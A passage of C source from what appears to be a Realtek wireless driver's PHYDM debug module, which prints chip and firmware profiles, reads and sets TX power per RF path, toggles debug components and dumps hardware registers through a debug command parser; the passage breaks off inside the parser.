phydm_BasicProfile(\n\tIN\t\tPVOID\t\t\tpDM_VOID,\n\tIN\t\tu4Byte\t\t\t*_used,\n\tOUT\t\tchar\t\t\t\t*output,\n\tIN\t\tu4Byte\t\t\t*_out_len\n)\n{\n\tPDM_ODM_T\t\tpDM_Odm = (PDM_ODM_T)pDM_VOID;\n\tchar *Cut = NULL;\n\tchar *ICType = NULL;\n\tu4Byte used = *_used;\n\tu4Byte out_len = *_out_len;\n\tu4Byte\tcommit_ver = 0;\n\tu4Byte\tdate = 0;\n\tchar\t*commit_by = NULL;\n\tu4Byte\trelease_ver = 0;\n\n\tPHYDM_SNPRINTF((output + used, out_len - used, \"%-35s\\n\", \"% Basic Profile %\"));\n\n\tif (pDM_Odm->SupportICType == ODM_RTL8192C)\t\t\t\n\t\tICType = \"RTL8192C\";\n\telse if (pDM_Odm->SupportICType == ODM_RTL8192D)\n\t\tICType = \"RTL8192D\";\n\telse if (pDM_Odm->SupportICType == ODM_RTL8723A)\n\t\tICType = \"RTL8723A\";\n\telse if (pDM_Odm->SupportICType == ODM_RTL8188E)\n\t\tICType = \"RTL8188E\";\n\telse if (pDM_Odm->SupportICType == ODM_RTL8812)\n\t\tICType = \"RTL8812A\";\n\telse if (pDM_Odm->SupportICType == ODM_RTL8821)\n\t\tICType = \"RTL8821A\";\n\telse if (pDM_Odm->SupportICType == ODM_RTL8192E)\n\t\tICType = \"RTL8192E\";\n\telse if (pDM_Odm->SupportICType == ODM_RTL8723B)\n\t\tICType = \"RTL8723B\";\n\telse if (pDM_Odm->SupportICType == ODM_RTL8814A)\n\t\tICType = \"RTL8814A\";\n\telse if (pDM_Odm->SupportICType == ODM_RTL8881A)\n\t\tICType = \"RTL8881A\";\n\telse if (pDM_Odm->SupportICType == ODM_RTL8821B)\n\t\tICType = \"RTL8821B\";\n\telse if (pDM_Odm->SupportICType == ODM_RTL8822B)\n\t\tICType = \"RTL8822B\";\n#if (RTL8703B_SUPPORT == 1)\n\telse if (pDM_Odm->SupportICType == ODM_RTL8703B) {\n\t\tICType = \"RTL8703B\";\n\t\tdate = RELEASE_DATE_8703B;\n\t\tcommit_by = COMMIT_BY_8703B;\n\t\trelease_ver = RELEASE_VERSION_8703B;\n\t} \n#endif\n\telse if (pDM_Odm->SupportICType == ODM_RTL8195A)\n\t\tICType = \"RTL8195A\";\n\telse if (pDM_Odm->SupportICType == ODM_RTL8188F)\n\t\tICType = \"RTL8188F\";\n\tPHYDM_SNPRINTF((output + used, out_len - used, \" %-35s: %s (MP Chip: %s)\\n\", \"IC Type\", ICType, pDM_Odm->bIsMPChip ? \"Yes\" : \"No\"));\n\n\tif (pDM_Odm->CutVersion == ODM_CUT_A)\t\t\t\n\t\tCut = \"A\";\n\telse if (pDM_Odm->CutVersion == ODM_CUT_B) \n\t\tCut = \"B\";\n\telse if (pDM_Odm->CutVersion == ODM_CUT_C) \n\t\tCut = \"C\";\n\telse if (pDM_Odm->CutVersion == ODM_CUT_D) \n\t\tCut = \"D\";\n\telse if (pDM_Odm->CutVersion == ODM_CUT_E) \n\t\tCut = \"E\";\n\telse if (pDM_Odm->CutVersion == ODM_CUT_F) \n\t\tCut = \"F\";\n\telse if (pDM_Odm->CutVersion == ODM_CUT_I) \n\t\tCut = \"I\";\n\tPHYDM_SNPRINTF((output + used, out_len - used, \" %-35s: %s\\n\", \"Cut Version\", Cut));\n\tPHYDM_SNPRINTF((output + used, out_len - used, \" %-35s: %d\\n\", \"PHY Parameter Version\", ODM_GetHWImgVersion(pDM_Odm)));\n\tPHYDM_SNPRINTF((output + used, out_len - used, \" %-35s: %d\\n\", \"PHY Parameter Commit date\", date));\n\tPHYDM_SNPRINTF((output + used, out_len - used, \" %-35s: %s\\n\", \"PHY Parameter Commit by\", commit_by));\n\tPHYDM_SNPRINTF((output + used, out_len - used, \" %-35s: %d\\n\", \"PHY Parameter Release Version\", release_ver));\n\t\n#if(DM_ODM_SUPPORT_TYPE & ODM_WIN)\n\t{\n\t\tPADAPTER\t\t Adapter = pDM_Odm->Adapter;\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \" %-35s: %d (Subversion: %d)\\n\", \"FW Version\", Adapter->MgntInfo.FirmwareVersion, Adapter->MgntInfo.FirmwareSubVersion));\n\t}\n#elif (DM_ODM_SUPPORT_TYPE & ODM_AP)\n\t{\n\t\tstruct rtl8192cd_priv *priv = pDM_Odm->priv;\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \" %-35s: %d (Subversion: %d)\\n\", \"FW Version\", priv->pshare->fw_version, priv->pshare->fw_sub_version));\n\t}\n#else\n\t{\n\t\tPADAPTER\t\t Adapter = pDM_Odm->Adapter;\n\t\tHAL_DATA_TYPE\t\t*pHalData = GET_HAL_DATA(Adapter);\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \" %-35s: %d (Subversion: %d)\\n\", \"FW Version\", pHalData->FirmwareVersion, pHalData->FirmwareSubVersion));\n\t}\n#endif\n\t//1 PHY DM Version List\n\tPHYDM_SNPRINTF((output + used, out_len - used, \"%-35s\\n\", \"% PHYDM Version %\"));\n\tPHYDM_SNPRINTF((output + used, out_len - used, \" %-35s: %s\\n\", \"Adaptivity\", ADAPTIVITY_VERSION));\n\tPHYDM_SNPRINTF((output + used, out_len - used, \" %-35s: %s\\n\", \"DIG\", DIG_VERSION));\n\tPHYDM_SNPRINTF((output + used, out_len - used, \" %-35s: %s\\n\", \"Dynamic BB PowerSaving\", DYNAMIC_BBPWRSAV_VERSION));\n\tPHYDM_SNPRINTF((output + used, out_len - used, \" %-35s: %s\\n\", \"CFO Tracking\", CFO_TRACKING_VERSION));\n\tPHYDM_SNPRINTF((output + used, out_len - used, \" %-35s: %s\\n\", \"Antenna Diversity\", ANTDIV_VERSION));\n\tPHYDM_SNPRINTF((output + used, out_len - used, \" %-35s: %s\\n\", \"Power Tracking\", POWRTRACKING_VERSION));\n\tPHYDM_SNPRINTF((output + used, out_len - used, \" %-35s: %s\\n\", \"Dynamic TxPower\", DYNAMIC_TXPWR_VERSION));\n\tPHYDM_SNPRINTF((output + used, out_len - used, \" %-35s: %s\\n\", \"RA Info\", RAINFO_VERSION));\n#if(DM_ODM_SUPPORT_TYPE & ODM_WIN)\n\tPHYDM_SNPRINTF((output + used, out_len - used, \" %-35s: %s\\n\", \"Antenna Detection\", ANTDECT_VERSION));\n#endif\n\tPHYDM_SNPRINTF((output + used, out_len - used, \" %-35s: %s\\n\", \"Auto Channel Selection\", ACS_VERSION));\n\tPHYDM_SNPRINTF((output + used, out_len - used, \" %-35s: %s\\n\", \"EDCA Turbo\", EDCATURBO_VERSION));\n\tPHYDM_SNPRINTF((output + used, out_len - used, \" %-35s: %s\\n\", \"Path Diversity\", PATHDIV_VERSION));\n#if(DM_ODM_SUPPORT_TYPE & ODM_WIN)\n\tPHYDM_SNPRINTF((output + used, out_len - used, \" %-35s: %s\\n\", \"RxHP\", RXHP_VERSION));\n#endif\n#if (RTL8822B_SUPPORT == 1) \n\tif (pDM_Odm->SupportICType & ODM_RTL8822B)\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \" %-35s: %s\\n\", \"PHY config 8822B\", PHY_CONFIG_VERSION_8822B));\n\t\n#endif\n\t*_used = used;\n\t*_out_len = out_len;\n\n}\n\nVOID\nphydm_fw_trace_en_h2c(\n\tIN\tPVOID\tpDM_VOID,\n\tIN\tBOOLEAN\t\tenable,\n\tIN\tu4Byte\t\tmonitor_mode,\n\tIN\tu4Byte\t\tmacid\n)\n{\n\tPDM_ODM_T\t\tpDM_Odm = (PDM_ODM_T)pDM_VOID;\n\tpRA_T\t\t\tpRA_Table = &pDM_Odm->DM_RA_Table;\n\tu1Byte\t\t\tH2C_Parameter[3] = {0};\n\n\tH2C_Parameter[0] = enable;\n\tH2C_Parameter[1] = (u1Byte)monitor_mode;\n\tH2C_Parameter[2] = (u1Byte)macid;\n\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE, ODM_DBG_LOUD, (\"---->\\n\"));\n\tif (monitor_mode == 0){\n\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE, ODM_DBG_LOUD, (\"[H2C] FW_debug_en: (( %d ))\\n\", enable));\n\t} else {\n\t\tODM_RT_TRACE(pDM_Odm, ODM_FW_DEBUG_TRACE, ODM_DBG_LOUD, (\"[H2C] FW_debug_en: (( %d )), mode: (( %d )), macid: (( %d ))\\n\", enable, monitor_mode, macid));\n\t}\n\tODM_FillH2CCmd(pDM_Odm, PHYDM_H2C_FW_TRACE_EN, 3, H2C_Parameter);\n}\n\nVOID\nphydm_get_per_path_txagc(\n\tIN\t\tPVOID\t\t\tpDM_VOID,\n\tIN\t\tu1Byte\t\t\tpath,\n\tIN\t\tu4Byte\t\t\t*_used,\n\tOUT\t\tchar\t\t\t\t*output,\n\tIN\t\tu4Byte\t\t\t*_out_len\n)\n{\n\tPDM_ODM_T\t\tpDM_Odm = (PDM_ODM_T)pDM_VOID;\n\tu1Byte\t\t\trate_idx;\n\tu1Byte\t\t\ttxagc;\n\tu4Byte\t\t\tused = *_used;\n\tu4Byte\t\t\tout_len = *_out_len;\n\n#if (RTL8822B_SUPPORT == 1)\n\tif ((pDM_Odm->SupportICType & ODM_RTL8822B) && (path <= ODM_RF_PATH_B)) {\n\t\tfor (rate_idx = 0; rate_idx <= 0x53; rate_idx++) {\n\t\t\tif (rate_idx == ODM_RATE1M)\n\t\t\t\tPHYDM_SNPRINTF((output + used, out_len - used, \" %-35s\\n\", \"CCK====>\"));\n\t\t\telse if (rate_idx == ODM_RATE6M)\n\t\t\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"\\n %-35s\\n\", \"OFDM====>\"));\n\t\t\telse if (rate_idx == ODM_RATEMCS0)\n\t\t\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"\\n %-35s\\n\", \"HT 1ss====>\"));\n\t\t\telse if (rate_idx == ODM_RATEMCS8)\n\t\t\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"\\n %-35s\\n\", \"HT 2ss====>\"));\n\t\t\telse if (rate_idx == ODM_RATEMCS16)\n\t\t\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"\\n %-35s\\n\", \"HT 3ss====>\"));\n\t\t\telse if (rate_idx == ODM_RATEMCS24)\n\t\t\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"\\n %-35s\\n\", \"HT 4ss====>\"));\n\t\t\telse if (rate_idx == ODM_RATEVHTSS1MCS0)\n\t\t\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"\\n %-35s\\n\", \"VHT 1ss====>\"));\n\t\t\telse if (rate_idx == ODM_RATEVHTSS2MCS0)\n\t\t\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"\\n %-35s\\n\", \"VHT 2ss====>\"));\n\t\t\telse if (rate_idx == ODM_RATEVHTSS3MCS0)\n\t\t\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"\\n %-35s\\n\", \"VHT 3ss====>\"));\n\t\t\telse if (rate_idx == ODM_RATEVHTSS4MCS0)\n\t\t\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"\\n %-35s\\n\", \"VHT 4ss====>\"));\n\t\t\t\n\t\t\ttxagc = config_phydm_read_txagc_8822b(pDM_Odm, path, rate_idx);\n\t\t\tif (config_phydm_read_txagc_check_8822b(txagc))\n\t\t\t\tPHYDM_SNPRINTF((output + used, out_len - used, \" 0x%02x \", txagc));\n\t\t\telse\n\t\t\t\tPHYDM_SNPRINTF((output + used, out_len - used, \" 0x%s \", \"xx\"));\n\t\t}\n\t}\n#endif\n}\n\n\nVOID\nphydm_get_txagc(\n\tIN\t\tPVOID\t\t\tpDM_VOID,\n\tIN\t\tu4Byte\t\t\t*_used,\n\tOUT\t\tchar\t\t\t\t*output,\n\tIN\t\tu4Byte\t\t\t*_out_len\n)\n{\n\tPDM_ODM_T\t\tpDM_Odm = (PDM_ODM_T)pDM_VOID;\n\tu4Byte\t\t\tused = *_used;\n\tu4Byte\t\t\tout_len = *_out_len;\n\t\n\t/* Path-A */\n\tPHYDM_SNPRINTF((output + used, out_len - used, \"%-35s\\n\", \"Path-A====================\"));\n\tphydm_get_per_path_txagc(pDM_Odm, ODM_RF_PATH_A, _used, output, _out_len);\n\t\n\t/* Path-B */\n\tPHYDM_SNPRINTF((output + used, out_len - used, \"\\n%-35s\\n\", \"Path-B====================\"));\n\tphydm_get_per_path_txagc(pDM_Odm, ODM_RF_PATH_B, _used, output, _out_len);\n\n\t/* Path-C */\n\tPHYDM_SNPRINTF((output + used, out_len - used, \"\\n%-35s\\n\", \"Path-C====================\"));\n\tphydm_get_per_path_txagc(pDM_Odm, ODM_RF_PATH_C, _used, output, _out_len);\n\n\t/* Path-D */\n\tPHYDM_SNPRINTF((output + used, out_len - used, \"\\n%-35s\\n\", \"Path-D====================\"));\n\tphydm_get_per_path_txagc(pDM_Odm, ODM_RF_PATH_D, _used, output, _out_len);\n\n}\n\nVOID\nphydm_set_txagc(\n\tIN\t\tPVOID\t\t\tpDM_VOID,\n\tIN\t\tu4Byte\t\t\t*const dm_value,\n\tIN\t\tu4Byte\t\t\t*_used,\n\tOUT\t\tchar\t\t\t\t*output,\n\tIN\t\tu4Byte\t\t\t*_out_len\n)\n{\n\tPDM_ODM_T\t\tpDM_Odm = (PDM_ODM_T)pDM_VOID;\n\tu4Byte\t\t\tused = *_used;\n\tu4Byte\t\t\tout_len = *_out_len;\n\n#if (RTL8822B_SUPPORT == 1)\n\tif (pDM_Odm->SupportICType & ODM_RTL8822B) {\n\t\tif (dm_value[0] <= 1) {\n\t\t\tif (phydm_write_txagc_1byte_8822b(pDM_Odm, dm_value[2], dm_value[0], (u1Byte)dm_value[1]))\n\t\t\t\tPHYDM_SNPRINTF((output + used, out_len - used, \" %s%d %s%x%s%x\\n\", \"Write path-\", dm_value[0], \"rate index-0x\", dm_value[1], \" = 0x\", dm_value[2]));\n\t\t\telse\n\t\t\t\tPHYDM_SNPRINTF((output + used, out_len - used, \" %s%d %s%x%s\\n\", \"Write path-\", (dm_value[0] & 0x1), \"rate index-0x\", (dm_value[1] & 0x7f), \" fail\"));\n\t\t} else {\n\t\t\tPHYDM_SNPRINTF((output + used, out_len - used, \" %s%d %s%x%s\\n\", \"Write path-\", (dm_value[0] & 0x1), \"rate index-0x\", (dm_value[1] & 0x7f), \" fail\"));\n\t\t}\n\t}\n#endif\n}\n\nVOID\nodm_debug_trace(\n\tIN\t\tPVOID\t\tpDM_VOID,\n\tIN\t\tu4Byte\t\t*const dm_value,\n\tIN\t\tu4Byte\t\t*_used,\n\tOUT\t\tchar\t\t*output,\n\tIN\t\tu4Byte\t\t*_out_len\n)\n{\n\tPDM_ODM_T\t\tpDM_Odm = (PDM_ODM_T)pDM_VOID;\n\tu8Byte\t\t\tpre_debug_components, one = 1;\n\tu4Byte used = *_used;\n\tu4Byte out_len = *_out_len;\n\n\tpre_debug_components = pDM_Odm->DebugComponents;\n\n\tPHYDM_SNPRINTF((output + used, out_len - used, \"\\n%s\\n\", \"================================\"));\n\tif (dm_value[0] == 100) {\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"%s\\n\", \"[Debug Message] PhyDM Selection\"));\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"%s\\n\", \"================================\"));\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"00. (( %s ))DIG\\n\", ((pDM_Odm->DebugComponents & ODM_COMP_DIG) ? (\"V\") : (\".\"))));\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"01. (( %s ))RA_MASK\\n\", ((pDM_Odm->DebugComponents & ODM_COMP_RA_MASK) ? (\"V\") : (\".\"))));\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"02. (( %s ))DYNAMIC_TXPWR\\n\", ((pDM_Odm->DebugComponents & ODM_COMP_DYNAMIC_TXPWR) ? (\"V\") : (\".\"))));\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"03. (( %s ))FA_CNT\\n\", ((pDM_Odm->DebugComponents & ODM_COMP_FA_CNT) ? (\"V\") : (\".\"))));\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"04. (( %s ))RSSI_MONITOR\\n\", ((pDM_Odm->DebugComponents & ODM_COMP_RSSI_MONITOR) ? (\"V\") : (\".\"))));\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"05. (( %s ))CCK_PD\\n\", ((pDM_Odm->DebugComponents & ODM_COMP_CCK_PD) ? (\"V\") : (\".\"))));\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"06. (( %s ))ANT_DIV\\n\", ((pDM_Odm->DebugComponents & ODM_COMP_ANT_DIV) ? (\"V\") : (\".\"))));\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"07. (( %s ))PWR_SAVE\\n\", ((pDM_Odm->DebugComponents & ODM_COMP_PWR_SAVE) ? (\"V\") : (\".\"))));\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"08. (( %s ))PWR_TRAIN\\n\", ((pDM_Odm->DebugComponents & ODM_COMP_PWR_TRAIN) ? (\"V\") : (\".\"))));\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"09. (( %s ))RATE_ADAPTIVE\\n\", ((pDM_Odm->DebugComponents & ODM_COMP_RATE_ADAPTIVE) ? (\"V\") : (\".\"))));\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"10. (( %s ))PATH_DIV\\n\", ((pDM_Odm->DebugComponents & ODM_COMP_PATH_DIV) ? (\"V\") : (\".\"))));\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"11. (( %s ))PSD\\n\", ((pDM_Odm->DebugComponents & ODM_COMP_PSD) ? (\"V\") : (\".\"))));\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"12. (( %s ))DYNAMIC_PRICCA\\n\", ((pDM_Odm->DebugComponents & ODM_COMP_DYNAMIC_PRICCA) ? (\"V\") : (\".\"))));\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"13. (( %s ))RXHP\\n\", ((pDM_Odm->DebugComponents & ODM_COMP_RXHP) ? (\"V\") : (\".\"))));\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"14. (( %s ))MP\\n\", ((pDM_Odm->DebugComponents & ODM_COMP_MP) ? (\"V\") : (\".\"))));\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"15. (( %s ))CFO_TRACKING\\n\", ((pDM_Odm->DebugComponents & ODM_COMP_CFO_TRACKING) ? (\"V\") : (\".\"))));\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"16. (( %s ))ACS\\n\", ((pDM_Odm->DebugComponents & ODM_COMP_ACS) ? (\"V\") : (\".\"))));\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"17. (( %s ))ADAPTIVITY\\n\", ((pDM_Odm->DebugComponents & PHYDM_COMP_ADAPTIVITY) ? (\"V\") : (\".\"))));\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"18. (( %s ))RA_DBG\\n\", ((pDM_Odm->DebugComponents & PHYDM_COMP_RA_DBG) ? (\"V\") : (\".\"))));\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"20. (( %s ))EDCA_TURBO\\n\", ((pDM_Odm->DebugComponents & ODM_COMP_EDCA_TURBO) ? (\"V\") : (\".\"))));\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"21. (( %s ))EARLY_MODE\\n\", ((pDM_Odm->DebugComponents & ODM_COMP_EARLY_MODE) ? (\"V\") : (\".\"))));\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"22. (( %s ))FW_DEBUG_TRACE\\n\", ((pDM_Odm->DebugComponents & ODM_FW_DEBUG_TRACE) ? (\"V\") : (\".\"))));\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"24. (( %s ))TX_PWR_TRACK\\n\", ((pDM_Odm->DebugComponents & ODM_COMP_TX_PWR_TRACK) ? (\"V\") : (\".\"))));\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"25. (( %s ))RX_GAIN_TRACK\\n\", ((pDM_Odm->DebugComponents & ODM_COMP_RX_GAIN_TRACK) ? (\"V\") : (\".\"))));\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"26. (( %s ))CALIBRATION\\n\", ((pDM_Odm->DebugComponents & ODM_COMP_CALIBRATION) ? (\"V\") : (\".\"))));\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"28. (( %s ))PHY_CONFIG\\n\", ((pDM_Odm->DebugComponents & ODM_PHY_CONFIG) ? (\"V\") : (\".\"))));\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"29. (( %s ))BEAMFORMING_DEBUG\\n\", ((pDM_Odm->DebugComponents & BEAMFORMING_DEBUG) ? (\"V\") : (\".\"))));\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"30. (( %s ))COMMON\\n\", ((pDM_Odm->DebugComponents & ODM_COMP_COMMON) ? (\"V\") : (\".\"))));\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"31. (( %s ))INIT\\n\", ((pDM_Odm->DebugComponents & ODM_COMP_INIT) ? (\"V\") : (\".\"))));\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"%s\\n\", \"================================\"));\n\n\t} else if (dm_value[0] == 101) {\n\t\tpDM_Odm->DebugComponents = 0;\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"%s\\n\", \"Disable all debug components\"));\n\t} else {\n\t\tif (dm_value[1] == 1) { /*enable*/\n\t\t\tpDM_Odm->DebugComponents |= (one << dm_value[0]);\n\n\t\t\tif (dm_value[0] == 22) { /*FW trace function*/\n\t\t\t\tphydm_fw_trace_en_h2c(pDM_Odm, 1, dm_value[2], dm_value[3]); /*H2C to enable C2H Msg*/\n\t\t\t}\n\t\t} else if (dm_value[1] == 2) { /*disable*/\n\t\t\tpDM_Odm->DebugComponents &= ~(one << dm_value[0]);\n\n\t\t\tif (dm_value[0] == 22) { /*FW trace function*/\n\t\t\t\tphydm_fw_trace_en_h2c(pDM_Odm, 0, dm_value[2], dm_value[3]); /*H2C to disable C2H Msg*/\n\t\t\t}\n\t\t} else\n\t\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"%s\\n\", \"[Warning!!!] 1:enable, 2:disable\"));\n\t}\n\tPHYDM_SNPRINTF((output + used, out_len - used, \"pre-DbgComponents = 0x%x\\n\", (u4Byte)pre_debug_components));\n\tPHYDM_SNPRINTF((output + used, out_len - used, \"Curr-DbgComponents = 0x%x\\n\", ((u4Byte)pDM_Odm->DebugComponents)));\n\tPHYDM_SNPRINTF((output + used, out_len - used, \"%s\\n\", \"================================\"));\n}\n\nVOID\nphydm_DumpBbReg(\n\tIN\t\tPVOID\t\t\tpDM_VOID\n\t)\n{\n\tPDM_ODM_T\t\tpDM_Odm = (PDM_ODM_T)pDM_VOID;\n\tu4Byte\t\t\tAddr = 0;\n\t\n\t/* BB Reg */\n\tfor (Addr = 0x800; Addr < 0xfff; Addr += 4)\n\t\tDbgPrint(\"%04x %08x\\n\", Addr, ODM_GetBBReg(pDM_Odm, Addr, bMaskDWord));\n\n\tif (pDM_Odm->SupportICType & (ODM_RTL8822B|ODM_RTL8814A)) {\n\n\t\tif (pDM_Odm->RFType > ODM_2T2R) {\n\t\t\tfor (Addr = 0x1800; Addr < 0x18ff; Addr += 4)\n\t\t\t\tDbgPrint(\"%04x %08x\\n\", Addr, ODM_GetBBReg(pDM_Odm, Addr, bMaskDWord));\n\t\t}\n\n\t\tif (pDM_Odm->RFType > ODM_3T3R) {\n\t\t\tfor (Addr = 0x1a00; Addr < 0x1aff; Addr += 4)\n\t\t\t\tDbgPrint(\"%04x %08x\\n\", Addr, ODM_GetBBReg(pDM_Odm, Addr, bMaskDWord));\n\t\t}\n\n\t\tfor (Addr = 0x1900; Addr < 0x19ff; Addr += 4)\n\t\t\tDbgPrint(\"%04x %08x\\n\", Addr, ODM_GetBBReg(pDM_Odm, Addr, bMaskDWord));\n\n\t\tfor (Addr = 0x1c00; Addr < 0x1cff; Addr += 4)\n\t\t\tDbgPrint(\"%04x %08x\\n\", Addr, ODM_GetBBReg(pDM_Odm, Addr, bMaskDWord));\n\n\t\tfor (Addr = 0x1f00; Addr < 0x1fff; Addr += 4)\n\t\t\tDbgPrint(\"%04x %08x\\n\", Addr, ODM_GetBBReg(pDM_Odm, Addr, bMaskDWord));\n\t}\n}\n\nVOID\nphydm_DumpAllReg(\n\tIN\t\tPVOID\t\t\tpDM_VOID\n\t)\n{\n\tPDM_ODM_T\t\tpDM_Odm = (PDM_ODM_T)pDM_VOID;\n\tu4Byte\t\t\tAddr = 0;\n\n\t/* dump MAC register */\n\tDbgPrint(\"MAC==========\\n\");\n\tfor (Addr = 0; Addr < 0x7ff; Addr += 4)\n\t\tDbgPrint(\"%04x %08x\\n\", Addr, ODM_GetBBReg(pDM_Odm, Addr, bMaskDWord));\n\n\tfor (Addr = 1000; Addr < 0x17ff; Addr += 4)\n\t\tDbgPrint(\"%04x %08x\\n\", Addr, ODM_GetBBReg(pDM_Odm, Addr, bMaskDWord));\n\n\t/* dump BB register */\n\tDbgPrint(\"BB==========\\n\");\n\tphydm_DumpBbReg(pDM_Odm);\n\n\t/* dump RF register */\n\tDbgPrint(\"RF-A==========\\n\");\n\tfor (Addr = 0; Addr < 0xFF; Addr++)\n\t\tDbgPrint(\"%02x %05x\\n\", Addr, ODM_GetRFReg(pDM_Odm, ODM_RF_PATH_A, Addr, bRFRegOffsetMask));\n\n\tif (pDM_Odm->RFType > ODM_1T1R) {\n\t\tDbgPrint(\"RF-B==========\\n\");\n\t\tfor (Addr = 0; Addr < 0xFF; Addr++)\n\t\t\tDbgPrint(\"%02x %05x\\n\", Addr, ODM_GetRFReg(pDM_Odm, ODM_RF_PATH_B, Addr, bRFRegOffsetMask));\n\t}\n\n\tif (pDM_Odm->RFType > ODM_2T2R) {\n\t\tDbgPrint(\"RF-C==========\\n\");\n\t\tfor (Addr = 0; Addr < 0xFF; Addr++)\n\t\t\tDbgPrint(\"%02x %05x\\n\", Addr, ODM_GetRFReg(pDM_Odm, ODM_RF_PATH_C, Addr, bRFRegOffsetMask));\n\t}\n\n\tif (pDM_Odm->RFType > ODM_3T3R) {\n\t\tDbgPrint(\"RF-D==========\\n\");\n\t\tfor (Addr = 0; Addr < 0xFF; Addr++)\n\t\t\tDbgPrint(\"%02x %05x\\n\", Addr, ODM_GetRFReg(pDM_Odm, ODM_RF_PATH_D, Addr, bRFRegOffsetMask));\n\t}\n}\n\nstruct _PHYDM_COMMAND {\n\tchar name[16];\n\tu1Byte id;\n};\n\nenum PHYDM_CMD_ID {\n\tPHYDM_DEMO,\n\tPHYDM_RA,\n\tPHYDM_PROFILE,\n\tPHYDM_PATHDIV,\n\tPHYDM_DEBUG,\n\tPHYDM_SUPPORT_ABILITY,\n\tPHYDM_GET_TXAGC,\n\tPHYDM_SET_TXAGC,\n\tPHYDM_SMART_ANT,\n\tPHYDM_API,\n\tPHYDM_TRX_PATH,\n\tPHYDM_LA_MODE,\n\tPHYDM_DUMP_REG\n};\n\nstruct _PHYDM_COMMAND phy_dm_ary[] = {\n\t{\"demo\", PHYDM_DEMO},\n\t{\"ra\", PHYDM_RA},\n\t{\"profile\", PHYDM_PROFILE},\n\t{\"pathdiv\", PHYDM_PATHDIV},\n\t{\"dbg\", PHYDM_DEBUG},\n\t{\"ability\", PHYDM_SUPPORT_ABILITY},\n\t{\"get_txagc\", PHYDM_GET_TXAGC},\n\t{\"set_txagc\", PHYDM_SET_TXAGC},\n\t{\"smtant\", PHYDM_SMART_ANT},\n\t{\"api\", PHYDM_API},\n\t{\"trxpath\", PHYDM_TRX_PATH},\n\t{\"lamode\", PHYDM_LA_MODE},\n\t{\"dumpreg\", PHYDM_DUMP_REG}\n};\n\nVOID\nphydm_cmd_parser(\n\tIN PDM_ODM_T\tpDM_Odm,\n\tIN char\t\tinput[][MAX_ARGV],\n\tIN u4Byte\tinput_num,\n\tIN u1Byte\tflag,\n\tOUT char\t*output,\n\tIN u4Byte\tout_len\n)\n{\n\tu4Byte used = 0;\n\tu1Byte id = 0;\n\tint var1[5] = {0};\n\tint i, input_idx = 0;\n\n\tif (flag == 0) {\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"GET, nothing to print\\n\"));\n\t\treturn;\n\t}\n\n\tPHYDM_SNPRINTF((output + used, out_len - used, \"\\n\"));\n\n\t//Parsing Cmd ID\n\tif (input_num) {\n\t\tint n, i;\n\n\t\tn = sizeof(phy_dm_ary) / sizeof(struct _PHYDM_COMMAND);\n\t\tfor (i = 0; i < n; i++) {\n\t\t\tif (strcmp(phy_dm_ary[i].name, input[0]) == 0) {\n\t\t\t\tid = phy_dm_ary[i].id;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (i == n) {\n\t\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"SET, command not found!\\n\"));\n\t\t\treturn;\n\t\t}\n\t}\n\n\tswitch (id) {\n\tcase PHYDM_DEMO: /*echo demo 10 0x3a z abcde >cmd*/\n\t\t\t{\n\t\t\t\tu4Byte directory = 0;\n#if (DM_ODM_SUPPORT_TYPE & (ODM_CE|ODM_AP))\t\t\t\t\n\t\t\t\tchar char_temp;\n#else\n\t\t\t\tu4Byte char_temp = ' ';\n#endif\n\t\tPHYDM_SSCANF(input[1], DCMD_DECIMAL, &directory);\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"Decimal Value = %d\\n\", directory));\n\t\tPHYDM_SSCANF(input[2], DCMD_HEX, &directory);\n\t\tPHYDM_SNPRINTF((output + used, out_len - used, \"Hex Value = 